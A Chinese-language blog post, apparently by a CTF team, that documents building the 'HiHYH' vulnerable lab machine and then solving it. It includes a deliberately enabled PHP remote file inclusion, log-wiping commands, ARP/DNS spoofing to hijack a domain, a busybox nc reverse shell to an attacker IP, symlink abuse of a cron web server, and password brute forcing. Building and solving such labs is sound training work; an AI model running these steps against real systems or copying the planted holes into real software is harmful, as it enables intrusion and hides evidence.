MazeSec HiHYH 靶机设计流程

发布于: 2026-04-07 17:19

Hi 系列靶机第二台!HYH,respect!

靶机设计灵感

1、ftp 服务给匿名用户访问本次靶机的 respect 用户 HYH motto 信息,以及一个仅有 hyh 用户可读的文件。
2、web 入口设计一处远程文件包含漏洞,需选手劫持指定域名 hyh.maze-sec.com,解析到攻击机,完成恶意文件包含。(域名的设计上再次 respect HYH 以及团队 maze-sec)。
3、定时任务设计为每分钟执行一次,监听 8080 端口,超时时间为 20 秒,选手需要监控定时任务的执行情况,抓取到该命令。
4、由于 /var/tmp 目录具有粘滞位,选手需要在 /var/tmp 目录下创建一个子目录,在该子目录下创建一个软链接,指向 ftp 目录下的文件,利用定时任务暴露出来,读取 pass.txt 文件内容。
5、ftp 的 pass.txt 文件内容设计为 hyh 用户的密码,以及一个爆破提示,提示信息为 ^ma....$,是 ll104567 用户密码提示。
6、ll104567 用户属于 sudo 组,同时靶机为 debian 系,默认启用 sudo 组,sudo 组用户在已知密码时可以执行任意命令,导向选手爆破 ll104567 用户的密码,从rockyou.txt 中提取匹配的密码进行爆破。

修改主机名

hostnamectl set-hostname HiHYH

cat >/etc/hosts <<EOF
127.0.0.1   localhost
127.0.1.1   HiHYH
::1         localhost ip6-localhost ip6-loopback
EOF

创建用户并修改密码

移除默认用户 welcome

deluser --remove-home welcome

创建 hyh 用户,并将密码设置为 HYH4Rly9UF3vwJq+xK1F53JYaMM,添加到 hyh 组中,使用 bash 作为默认 shell,用户主目录为 /home/hyh。

groupadd hyh
useradd -m -g hyh -s /bin/bash hyh
echo "hyh:HYH4Rly9UF3vwJq+xK1F53JYaMM" | chpasswd

创建 ll104567 用户,加入 sudo 组,使用 bash 作为默认 shell,用户主目录为 /home/ll104567。

主要考虑到在 debian系,sudo 组默认存在,并且启用 %sudo ALL=(ALL:ALL) ALL

useradd -m -s /bin/bash ll104567
echo "ll104567:mazell" | chpasswd
usermod -aG sudo ll104567

修改 root 密码

echo "root:UGHYx1dc8AOtvJ3LMndL0QBg" | chpasswd

安装 ftp 服务

使用 apt 包管理器安装 vsftpd,并启动服务,设置开机自启。

apt update
apt install -y vsftpd

查看 /etc/vsftpd.conf 文件,默认配置如下:

root@moban:~# cat /etc/vsftpd.conf | grep -vE '^#' | grep '.'
listen=NO
listen_ipv6=YES
anonymous_enable=NO
local_enable=YES
dirmessage_enable=YES
use_localtime=YES
xferlog_enable=YES
connect_from_port_20=YES
secure_chroot_dir=/var/run/vsftpd/empty
pam_service_name=vsftpd
rsa_cert_file=/etc/ssl/certs/ssl-cert-snakeoil.pem
rsa_private_key_file=/etc/ssl/private/ssl-cert-snakeoil.key
ssl_enable=NO

查看 passwd 文件 ftp 用户的默认家目录

cat /etc/passwd | grep ftp
ftp:x:106:113:ftp daemon,,,:/srv/ftp:/usr/sbin/nologin

创建 ftp 目录,默认是 ftp 用户,并设置权限。

mkdir -p /srv/ftp/pub
chown root:root /srv/ftp
chmod 755 /srv/ftp

chown root:root /srv/ftp/pub
chmod 755 /srv/ftp/pub

修改配置文件,允许匿名访问。

cat > /etc/vsftpd.conf <<'EOF'
listen=YES
listen_ipv6=NO

anonymous_enable=YES
local_enable=NO

write_enable=NO

anon_root=/srv/ftp

anon_world_readable_only=YES

pasv_enable=YES
pasv_min_port=30000
pasv_max_port=30010
EOF

启动并设置开机自启

systemctl restart vsftpd
systemctl enable vsftpd

ftp 关键文件

在 /srv/ftp/pub 目录下创建两个文件:

cat > /srv/ftp/pub/motto.txt <<'EOF'
失去的终究会失去吧,想念的终究会相遇吧。
What you lose will eventually be lost, and what you miss will eventually meet.
EOF

cat > /srv/ftp/pub/pass.txt <<'EOF'
hyh:HYH4Rly9UF3vwJq+xK1F53JYaMM
hint:^ma....$
EOF

chmod 644 /srv/ftp/pub/motto.txt
chown hyh:hyh /srv/ftp/pub/pass.txt
chmod 600 /srv/ftp/pub/pass.txt

web 入口

在 /var/www/html 目录下创建 index.php 文件,内容如下:

<?php
highlight_file(__FILE__);
@include"http://hyh.maze-sec.com/";

使用 php 配置文件 /etc/php/8.3/apache2/php.ini,允许远程文件包含(RFI)。

allow_url_include=On
allow_url_fopen=On
; disable_functions=

该靶机依赖 tmp 目录,因此建议关闭 apache 的 private tmp 功能。

# 创建目录
mkdir -p /etc/systemd/system/apache2.service.d/

# 直接写入配置
cat > /etc/systemd/system/apache2.service.d/override.conf << 'EOF'
[Service]
PrivateTmp=false
EOF

# 验证文件已创建
cat /etc/systemd/system/apache2.service.d/override.conf

# 重新加载配置
systemctl daemon-reload

# 重启 Apache
systemctl restart apache2

# 验证生效
systemctl show apache2 -p PrivateTmp

重启 apache2 服务使配置生效

systemctl restart apache2
systemctl enable apache2

添加定时任务

添加定时任务,使用 php 内置服务器监听 8080 端口,超时时间为 20 秒。

/etc/cron.d/hyh 文件内容如下:

* * * * * hyh /bin/bash -c '/usr/bin/timeout 20s /usr/bin/python3 -m http.server 8080 --bind 127.0.0.1 --directory /var/tmp'

关于 /var/tmp 目录粘滞位的问题,请参阅:https://lwn.net/Articles/390323/

重启 cron 服务使配置生效

systemctl restart cron
systemctl enable cron

放置flag

echo 'flag{user-3e813e575a6e4b5fb7cf3a479b1ac423}' > /home/hyh/user.txt
echo 'flag{root-a7144840e24342b1a075a4a31405452f}' > /root/root.txt

缓存清理与痕迹擦除

apt clean
rm -rf /var/lib/apt/lists/*

history -c
rm -f /root/.bash_history /home/*/.bash_history

> /var/log/auth.log
> /var/log/syslog
> /var/log/apache2/access.log
> /var/log/apache2/error.log

: > /var/log/wtmp
: > /var/log/btmp

rm -rf /tmp/* /var/tmp/*

爆破可行性验证

┌──(root㉿kali)-[~]
└─# grep -E '^ma....$' rockyou.txt | wc -l     

27009

┌──(root㉿kali)-[~]
└─# nl rockyou.txt | grep -E '[0-9]+\s+mazell$'

486798  mazell

┌──(root㉿kali)-[~]
└─# grep -E '^ma....$' rockyou.txt > tmp       

┌──(root㉿kali)-[~]
└─# nl tmp | grep -E '[0-9]+\s+mazell$'

  3122  mazell

作者测试

端口扫描

ftp 匿名登录

两个文件,pass.txt 仅所有者可读,motto.txt 所有人可读,查看 motto.txt 文件内容

访问 80 端口

dns 欺骗、arp 欺骗,达到劫持 hyh.maze-sec.com 域名的效果,解析到攻击机

原理:

1、ARP欺骗:让受害机“认错”网关

攻击者在局域网内广播伪造的ARP应答,告诉受害机“网关的IP地址(如192.168.6.1)对应的是我的MAC地址”。受害机收到后,会更新自己的ARP缓存,把后续发往网关的流量(包括DNS查询)都发给了攻击机。

2、DNS劫持:在“假网关”上篡改域名解析

攻击机收到受害机的数据包后,不是直接转发给真实网关,而是先检查:如果是DNS请求(目标端口53),就伪造一个DNS应答,把目标域名(如example.com)指向攻击者控制的IP。然后再把受害机的原始DNS请求转发给真实DNS服务器(避免受害机因超时而重试)。

成功,只需要修改攻击机的 index.html 文件内容即可完成恶意文件包含

常规反弹shell

# 靶机
busybox nc 192.168.6.111 4444 -e /bin/bash
# 攻击机
nc -lvnp 4444

下载 pspy64 ,监控定时任务的执行情况,抓取到 hyh 用户每分钟执行一次 python 内置服务器的命令在 /var/tmp 目录下,监听 8080 端口,超时时间为 10 秒。

https://github.com/dominicbreuker/pspy

给 ftp 的 pass.txt 做软链接到 /var/tmp 目录下,利用定时任务的 python3 内置服务器暴露出来,读取 pass.txt 文件内容

需要注意的是,/var/tmp 目录具有粘滞位,直接使用 /var/tmp 目录会失败,新建一个子目录 /var/tmp/test,在该目录下创建软链接,指向 /srv/ftp/pub/pass.txt 文件。

mkdir -p /var/tmp/test
ln -s /srv/ftp/pub/pass.txt /var/tmp/test/pass.txt

拿到 pass.txt 文件内容

hyh:HYH4Rly9UF3vwJq+xK1F53JYaMM
hint:^ma....$

根据正则提示,提取 rockyou.txt 匹配的密码

┌──(root㉿kali)-[~]
└─# grep -E '^ma....$' rockyou.txt | wc -l     

27009

┌──(root㉿kali)-[~]
└─# nl rockyou.txt | grep -E '[0-9]+\s+mazell$'

486798  mazell

┌──(root㉿kali)-[~]
└─# grep -E '^ma....$' rockyou.txt > tmp       

┌──(root㉿kali)-[~]
└─# nl tmp | grep -E '[0-9]+\s+mazell$'

  3122  mazell

爆破 ll104567 用户密码,使用Github su-bruteforce 工具,爆破成功,密码为 mazell,ll104567 属于 sudo 组,debian 系统默认 sudo 组用户在有密码时可以使用 sudo 执行任何命令。